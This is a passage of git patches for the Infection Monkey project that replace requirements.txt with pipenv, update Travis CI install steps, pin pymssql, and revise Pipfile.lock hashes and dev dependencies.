"sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4", + "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a", + "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8", + "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d", + "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971", + "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841", + "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f", + "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b", + "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45", + "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9", + "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6", + "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc", + "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956", + "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d", + "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746", + "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a", + "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0", + "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25", + "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625", + "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995", + "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46", + "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f", + "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a", + "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139", + "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f", + "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da", + "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34", + "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b", + "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94", + "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04", + "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b", + "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396", + "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06", + "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb" + ], + "index": "pypi", + "version": "==3.17.2" + }, + "six": { + "hashes": [ + "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", + "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", + "version": "==1.15.0" + }, + "sqlitedict": { + "hashes": [ + "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" + ], + "version": "==1.7.0" + }, + "tempora": { + "hashes": [ + "sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909", + "sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8" + ], + "markers": "python_version >= '3.6'", + "version": "==4.0.2" + }, + "tqdm": { + "hashes": [ + "sha256:daec693491c52e9498632dfbe9ccfc4882a557f5fa08982db1b4d3adbe0887c3", + "sha256:ebdebdb95e3477ceea267decfc0784859aa3df3e27e22d23b83e9b272bf157ae" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==4.60.0" + }, + "urllib3": { + "hashes": [ + "sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc", + "sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc" + ], + "index": "pypi", + "version": "==1.25.8" + }, + "wcwidth": { + "hashes": [ + "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", + "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" + ], + "version": "==0.2.5" + }, + "werkzeug": { + "hashes": [ + "sha256:2de2a5db0baeae7b2d2664949077c2ac63fbd16d98da0ff71837f7d1dea3fd43", + "sha256:6c80b1e5ad3665290ea39320b91e1be1e0d5f60652b964a3070216de83d2e47c" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==1.0.1" + }, + "winacl": { + "hashes": [ + "sha256:57e5b4591b4be2b243d4b79882bd0fb6229d5930d062fdae941d5d8af6aa29ee", + "sha256:aa652870757136e39ea85037d33b6b9bd09b415d907a5d64ca7b1a4f67202c59" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.1" + }, + "winsspi": { + "hashes": [ + "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", + "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" + ], + "markers": "platform_system == 'Windows'", + "version": "==0.0.9" + }, + "winsys-3.x": { + "hashes": [ + "sha256:cef3df1dce2a5a71efa46446e6007ad9f7dbae31e83ffcc2ea3485c00c914cc3" + ], + "index": "pypi", + "version": "==0.5.2" + }, + "wmi": { + "hashes": [ + "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", + "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" + ], + "index": "pypi", + "version": "==1.5.1" + }, + "zc.lockfile": { + "hashes": [ + "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", + "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" + ], + "version": "==2.0" + } + }, + "develop": {} +} diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt deleted file mode 100644 index e67dd89273f..00000000000 --- a/monkey/infection_monkey/requirements.txt +++ /dev/null @@ -1,21 +0,0 @@ -WinSys-3.x>=0.5.2 -cffi>=1.14 -ecdsa==0.15 -git+https://github.com/guardicore/pyinstaller#egg=pyinstaller -impacket>=0.9 -ipaddress>=1.0.23 -netifaces>=0.10.9 -odict==1.7.0 -paramiko>=2.7.1 -psutil>=5.7.0 -psycopg2-binary==2.8.6 -pycryptodome==3.9.8 -pyftpdlib==1.5.6 -pymssql<3.0 -pypykatz==0.3.12 -pysmb==1.2.5 -requests>=2.24 -wmi==1.5.1 ; sys_platform == 'win32' -urllib3==1.25.8 -git+https://github.com/guardicode/ScoutSuite#egg=ScoutSuite -simplejson From e7cef5fd9f672ae5de499f7303f4c3d31c84908f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 16:01:10 +0300 Subject: [PATCH 0257/1360] Updated travis to use pipenv --- .travis.yml | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/.travis.yml b/.travis.yml index 318045d6858..c9a0f4e0216 100644 --- a/.travis.yml +++ b/.travis.yml @@ -22,14 +22,17 @@ before_install: install: # Python -- pip freeze -- pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install black==20.8b1 flake8==3.9.0 pytest pytest-cov isort==5.8.0 # for next stages -- pip install coverage # for code coverage -- pip install -r monkey/infection_monkey/requirements.txt # for unit tests -- pip install pipdeptree -# Fail builds on possible conflicting dependencies. -- pipdeptree --warn fail +- pip install pipenv +# Install requirements as they are needed by UT's +- pushd monkey/monkey_island +- pipenv install +- popd +- pushd monkey/infection_monkey +- pipenv install +- popd +- pipenv install black==20.8b1 flake8==3.9.0 pytest pytest-cov isort==5.8.0 # for next stages +- pipenv install coverage # for code coverage + # node + npm + eslint - node --version From 00e9940a0b6d909ba231e8aa63d636a3e966c253 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 16:50:56 +0300 Subject: [PATCH 0258/1360] Using pymssql v2.2.0 or later results in the following error message: ImportError: /tmp/_MEISNYzdG/pymssql/_pymssql.cpython-37m-x86_64-linux-gnu.so: ELF load command address/offset not properly aligned --- monkey/infection_monkey/Pipfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 385043b1ded..ff65131c569 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -16,7 +16,7 @@ psutil = ">=5.7.0" psycopg2-binary = "==2.8.6" pycryptodome = "==3.9.8" pyftpdlib = "==1.5.6" -pymssql = "<3.0" +pymssql = "==2.1.5" pypykatz = "==0.3.12" pysmb = "==1.2.5" requests = ">=2.24" From e4415d822a1d7e52b7cf042b43e203d53ae51f42 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 17:06:16 +0300 Subject: [PATCH 0259/1360] Fixed requirement installation in travis to install from lock files, so that travis would ideally replicate our development --- .travis.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.travis.yml b/.travis.yml index c9a0f4e0216..4a320e3852a 100644 --- a/.travis.yml +++ b/.travis.yml @@ -23,12 +23,12 @@ before_install: install: # Python - pip install pipenv -# Install requirements as they are needed by UT's +# Install island and monkey requirements as they are needed by UT's - pushd monkey/monkey_island -- pipenv install +- pipenv sync # This installs dependencies from lock - popd - pushd monkey/infection_monkey -- pipenv install +- pipenv sync # This installs dependencies from lock - popd - pipenv install black==20.8b1 flake8==3.9.0 pytest pytest-cov isort==5.8.0 # for next stages - pipenv install coverage # for code coverage From c00754a3a4db161483c11ed497c0478e26dffef8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 17:09:15 +0300 Subject: [PATCH 0260/1360] Moved dev requirements of black, coverage, flake and others to dev dependencies of the island to be a single source of truth --- .travis.yml | 7 +- monkey/monkey_island/Pipfile | 5 + monkey/monkey_island/Pipfile.lock | 550 +++++++++++++++++++++++------- 3 files changed, 435 insertions(+), 127 deletions(-) diff --git a/.travis.yml b/.travis.yml index 4a320e3852a..6d1c37faf58 100644 --- a/.travis.yml +++ b/.travis.yml @@ -25,14 +25,11 @@ install: - pip install pipenv # Install island and monkey requirements as they are needed by UT's - pushd monkey/monkey_island -- pipenv sync # This installs dependencies from lock +- pipenv sync --dev # This installs dependencies from lock - popd - pushd monkey/infection_monkey -- pipenv sync # This installs dependencies from lock +- pipenv sync --dev # This installs dependencies from lock - popd -- pipenv install black==20.8b1 flake8==3.9.0 pytest pytest-cov isort==5.8.0 # for next stages -- pipenv install coverage # for code coverage - # node + npm + eslint - node --version diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 84ba30eacf1..46c36c7deae 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -35,6 +35,11 @@ virtualenv = ">=20.0.26" mongomock = "==3.19.0" pytest = ">=5.4" requests-mock = "==1.8.0" +black = "==20.8b1" +flake8 = "==3.9.0" +pytest-cov = "*" +isort = "==5.8.0" +coverage = "*" [requires] python_version = "3.7" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index e2e24914c7a..704ef3bc923 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "4d495805a711a7ae4fa78018f82bc47b97eaf11276898a40adc174cfa42431cb" + "sha256": "9d575bcb35dba0389e8a68dd285f9ed7015fbcc4a42cffff5301777497337616" }, "pipfile-spec": 6, "requires": { @@ -37,13 +37,6 @@ "markers": "python_version >= '3'", "version": "==4.8" }, - "appdirs": { - "hashes": [ - "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41", - "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128" - ], - "version": "==1.4.4" - }, "asyncio-throttle": { "hashes": [ "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" @@ -51,14 +44,6 @@ "markers": "python_version >= '3.5'", "version": "==0.1.1" }, - "atomicwrites": { - "hashes": [ - "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", - "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" - ], - "markers": "sys_platform == 'win32'", - "version": "==1.4.0" - }, "attrs": { "hashes": [ "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6", @@ -186,7 +171,7 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4' and sys_platform == 'win32' and sys_platform == 'win32'", + "markers": "python_version != '3.4' and sys_platform == 'win32'", "version": "==0.4.3" }, "coloredlogs": { @@ -196,20 +181,13 @@ ], "version": "==10.0" }, - "distlib": { - "hashes": [ - "sha256:8c09de2c67b3e7deef7184574fc060ab8a793e7adbb183d942c389c8b13c52fb", - "sha256:edf6116872c863e1aa9d5bb7cb5e05a022c519a4594dc703843343a9ddd9bff1" - ], - "version": "==0.3.1" - }, "docutils": { "hashes": [ "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0", "sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827", "sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.15.2" }, "dpath": { @@ -219,13 +197,6 @@ "index": "pypi", "version": "==2.0.1" }, - "filelock": { - "hashes": [ - "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59", - "sha256:929b7d63ec5b7d6b71b0fa5ac14e030b3f70b75747cef1b10da9b879fef15836" - ], - "version": "==3.0.12" - }, "flask": { "hashes": [ "sha256:4efa1ae2d7c9865af48986de8aeb8504bf32c7f3d6fdc9353d34b21f4b127060", @@ -261,7 +232,7 @@ "hashes": [ "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.18.2" }, "gevent": { @@ -374,16 +345,9 @@ "sha256:2ec0faae539743ae6aaa84b49a169670a465f7f5d64e6add98388cc29fd1f2f6", "sha256:c9356b657de65c53744046fa8f7358afe0714a1af7d570c00c3835c2d724a7c1" ], - "markers": "python_version < '3.8' and python_version < '3.8'", + "markers": "python_version < '3.8'", "version": "==3.10.1" }, - "iniconfig": { - "hashes": [ - "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3", - "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" - ], - "version": "==1.1.1" - }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -445,7 +409,7 @@ "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.10.0" }, "jsonschema": { @@ -522,14 +486,6 @@ "index": "pypi", "version": "==0.20" }, - "mongomock": { - "hashes": [ - "sha256:36aad3c6127eee9cdb52ac0186c6a60007f2412c9db715645eeccffc1258ce48", - "sha256:8faaffd875732bf55e38e1420a1b7212dde8d446c5852afb4c0884c1369b328b" - ], - "index": "pypi", - "version": "==3.19.0" - }, "more-itertools": { "hashes": [ "sha256:5652a9ac72209ed7df8d9c15daf4e1aa0e3d2ccd3c87f8265a0673cd9cbc9ced", @@ -573,28 +529,13 @@ "index": "pypi", "version": "==0.10.9" }, - "packaging": { - "hashes": [ - "sha256:5b327ac1320dc863dca72f4514ecc086f31186744b84a230374cc1fd776feae5", - "sha256:67714da7f7bc052e064859c05c595155bd1ee9f69f76557e21f051443c20947a" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==20.9" - }, "pefile": { "hashes": [ "sha256:a5d6e8305c6b210849b47a6174ddf9c452b2888340b8177874b862ba6c207645" ], + "markers": "sys_platform == 'win32'", "version": "==2019.4.18" }, - "pluggy": { - "hashes": [ - "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0", - "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.13.1" - }, "policyuniverse": { "hashes": [ "sha256:9b96bf46df37b5646f3a1361021949d8527698bcb8bcf26941eaa89a6fe85dd2", @@ -610,14 +551,6 @@ "markers": "python_version >= '3.6'", "version": "==2.7.1" }, - "py": { - "hashes": [ - "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3", - "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==1.10.0" - }, "pyasn1": { "hashes": [ "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", @@ -769,14 +702,6 @@ ], "version": "==3.11.3" }, - "pyparsing": { - "hashes": [ - "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1", - "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b" - ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", - "version": "==2.4.7" - }, "pyreadline": { "hashes": [ "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", @@ -793,14 +718,6 @@ "markers": "python_version >= '3.5'", "version": "==0.17.3" }, - "pytest": { - "hashes": [ - "sha256:671238a46e4df0f3498d1c3270e5deb9b32d25134c99b7d75370a68cfbe9b634", - "sha256:6ad9c7bdf517a808242b998ac20063c41532a570d088d77eec1ee12b0b5574bc" - ], - "index": "pypi", - "version": "==6.2.3" - }, "python-dateutil": { "hashes": [ "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", @@ -837,6 +754,7 @@ "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" ], + "markers": "sys_platform == 'win32'", "version": "==0.2.0" }, "pyyaml": { @@ -866,14 +784,6 @@ "index": "pypi", "version": "==2.25.1" }, - "requests-mock": { - "hashes": [ - "sha256:11215c6f4df72702aa357f205cf1e537cffd7392b3e787b58239bde5fb3db53b", - "sha256:e68f46844e4cee9d447150343c9ae875f99fa8037c6dcf5f15bf1fe9ab43d226" - ], - "index": "pypi", - "version": "==1.8.0" - }, "ring": { "hashes": [ "sha256:cee547eece9f1b4dd5bf7cfc7ecddd7c730458a0d00d9fc4a949a6604b2207c1" @@ -900,12 +810,6 @@ "git": "https://github.com/guardicode/ScoutSuite", "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" }, - "sentinels": { - "hashes": [ - "sha256:7be0704d7fe1925e397e92d18669ace2f619c92b5d4eb21a89f31e026f9ff4b1" - ], - "version": "==1.0.0" - }, "simplejson": { "hashes": [ "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667", @@ -954,7 +858,7 @@ "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06", "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb" ], - "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==3.17.2" }, "six": { @@ -994,14 +898,6 @@ "markers": "python_version >= '3.6'", "version": "==4.0.2" }, - "toml": { - "hashes": [ - "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b", - "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f" - ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", - "version": "==0.10.2" - }, "tqdm": { "hashes": [ "sha256:daec693491c52e9498632dfbe9ccfc4882a557f5fa08982db1b4d3adbe0887c3", @@ -1027,14 +923,6 @@ "markers": "python_version != '3.4'", "version": "==1.25.11" }, - "virtualenv": { - "hashes": [ - "sha256:49ec4eb4c224c6f7dd81bb6d0a28a09ecae5894f4e593c89b0db0885f565a107", - "sha256:83f95875d382c7abafe06bd2a4cdd1b363e1bb77e02f155ebe8ac082a916b37c" - ], - "index": "pypi", - "version": "==20.4.3" - }, "werkzeug": { "hashes": [ "sha256:2de2a5db0baeae7b2d2664949077c2ac63fbd16d98da0ff71837f7d1dea3fd43", @@ -1129,5 +1017,423 @@ "version": "==5.3.0" } }, - "develop": {} + "develop": { + "appdirs": { + "hashes": [ + "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41", + "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128" + ], + "version": "==1.4.4" + }, + "atomicwrites": { + "hashes": [ + "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", + "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" + ], + "markers": "sys_platform == 'win32'", + "version": "==1.4.0" + }, + "attrs": { + "hashes": [ + "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6", + "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==20.3.0" + }, + "black": { + "hashes": [ + "sha256:1c02557aa099101b9d21496f8a914e9ed2222ef70336404eeeac8edba836fbea" + ], + "index": "pypi", + "version": "==20.8b1" + }, + "certifi": { + "hashes": [ + "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c", + "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830" + ], + "version": "==2020.12.5" + }, + "chardet": { + "hashes": [ + "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", + "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==4.0.0" + }, + "click": { + "hashes": [ + "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", + "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==7.1.2" + }, + "colorama": { + "hashes": [ + "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", + "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" + ], + "markers": "python_version != '3.4' and sys_platform == 'win32'", + "version": "==0.4.3" + }, + "coverage": { + "hashes": [ + "sha256:004d1880bed2d97151facef49f08e255a20ceb6f9432df75f4eef018fdd5a78c", + "sha256:01d84219b5cdbfc8122223b39a954820929497a1cb1422824bb86b07b74594b6", + "sha256:040af6c32813fa3eae5305d53f18875bedd079960822ef8ec067a66dd8afcd45", + "sha256:06191eb60f8d8a5bc046f3799f8a07a2d7aefb9504b0209aff0b47298333302a", + "sha256:13034c4409db851670bc9acd836243aeee299949bd5673e11844befcb0149f03", + "sha256:13c4ee887eca0f4c5a247b75398d4114c37882658300e153113dafb1d76de529", + "sha256:184a47bbe0aa6400ed2d41d8e9ed868b8205046518c52464fde713ea06e3a74a", + "sha256:18ba8bbede96a2c3dde7b868de9dcbd55670690af0988713f0603f037848418a", + "sha256:1aa846f56c3d49205c952d8318e76ccc2ae23303351d9270ab220004c580cfe2", + "sha256:217658ec7187497e3f3ebd901afdca1af062b42cfe3e0dafea4cced3983739f6", + "sha256:24d4a7de75446be83244eabbff746d66b9240ae020ced65d060815fac3423759", + "sha256:2910f4d36a6a9b4214bb7038d537f015346f413a975d57ca6b43bf23d6563b53", + "sha256:2949cad1c5208b8298d5686d5a85b66aae46d73eec2c3e08c817dd3513e5848a", + "sha256:2a3859cb82dcbda1cfd3e6f71c27081d18aa251d20a17d87d26d4cd216fb0af4", + "sha256:2cafbbb3af0733db200c9b5f798d18953b1a304d3f86a938367de1567f4b5bff", + "sha256:2e0d881ad471768bf6e6c2bf905d183543f10098e3b3640fc029509530091502", + "sha256:30c77c1dc9f253283e34c27935fded5015f7d1abe83bc7821680ac444eaf7793", + "sha256:3487286bc29a5aa4b93a072e9592f22254291ce96a9fbc5251f566b6b7343cdb", + "sha256:372da284cfd642d8e08ef606917846fa2ee350f64994bebfbd3afb0040436905", + "sha256:41179b8a845742d1eb60449bdb2992196e211341818565abded11cfa90efb821", + "sha256:44d654437b8ddd9eee7d1eaee28b7219bec228520ff809af170488fd2fed3e2b", + "sha256:4a7697d8cb0f27399b0e393c0b90f0f1e40c82023ea4d45d22bce7032a5d7b81", + "sha256:51cb9476a3987c8967ebab3f0fe144819781fca264f57f89760037a2ea191cb0", + "sha256:52596d3d0e8bdf3af43db3e9ba8dcdaac724ba7b5ca3f6358529d56f7a166f8b", + "sha256:53194af30d5bad77fcba80e23a1441c71abfb3e01192034f8246e0d8f99528f3", + "sha256:5fec2d43a2cc6965edc0bb9e83e1e4b557f76f843a77a2496cbe719583ce8184", + "sha256:6c90e11318f0d3c436a42409f2749ee1a115cd8b067d7f14c148f1ce5574d701", + "sha256:74d881fc777ebb11c63736622b60cb9e4aee5cace591ce274fb69e582a12a61a", + "sha256:7501140f755b725495941b43347ba8a2777407fc7f250d4f5a7d2a1050ba8e82", + "sha256:796c9c3c79747146ebd278dbe1e5c5c05dd6b10cc3bcb8389dfdf844f3ead638", + "sha256:869a64f53488f40fa5b5b9dcb9e9b2962a66a87dab37790f3fcfb5144b996ef5", + "sha256:8963a499849a1fc54b35b1c9f162f4108017b2e6db2c46c1bed93a72262ed083", + "sha256:8d0a0725ad7c1a0bcd8d1b437e191107d457e2ec1084b9f190630a4fb1af78e6", + "sha256:900fbf7759501bc7807fd6638c947d7a831fc9fdf742dc10f02956ff7220fa90", + "sha256:92b017ce34b68a7d67bd6d117e6d443a9bf63a2ecf8567bb3d8c6c7bc5014465", + "sha256:970284a88b99673ccb2e4e334cfb38a10aab7cd44f7457564d11898a74b62d0a", + "sha256:972c85d205b51e30e59525694670de6a8a89691186012535f9d7dbaa230e42c3", + "sha256:9a1ef3b66e38ef8618ce5fdc7bea3d9f45f3624e2a66295eea5e57966c85909e", + "sha256:af0e781009aaf59e25c5a678122391cb0f345ac0ec272c7961dc5455e1c40066", + "sha256:b6d534e4b2ab35c9f93f46229363e17f63c53ad01330df9f2d6bd1187e5eaacf", + "sha256:b7895207b4c843c76a25ab8c1e866261bcfe27bfaa20c192de5190121770672b", + "sha256:c0891a6a97b09c1f3e073a890514d5012eb256845c451bd48f7968ef939bf4ae", + "sha256:c2723d347ab06e7ddad1a58b2a821218239249a9e4365eaff6649d31180c1669", + "sha256:d1f8bf7b90ba55699b3a5e44930e93ff0189aa27186e96071fac7dd0d06a1873", + "sha256:d1f9ce122f83b2305592c11d64f181b87153fc2c2bbd3bb4a3dde8303cfb1a6b", + "sha256:d314ed732c25d29775e84a960c3c60808b682c08d86602ec2c3008e1202e3bb6", + "sha256:d636598c8305e1f90b439dbf4f66437de4a5e3c31fdf47ad29542478c8508bbb", + "sha256:deee1077aae10d8fa88cb02c845cfba9b62c55e1183f52f6ae6a2df6a2187160", + "sha256:ebe78fe9a0e874362175b02371bdfbee64d8edc42a044253ddf4ee7d3c15212c", + "sha256:f030f8873312a16414c0d8e1a1ddff2d3235655a2174e3648b4fa66b3f2f1079", + 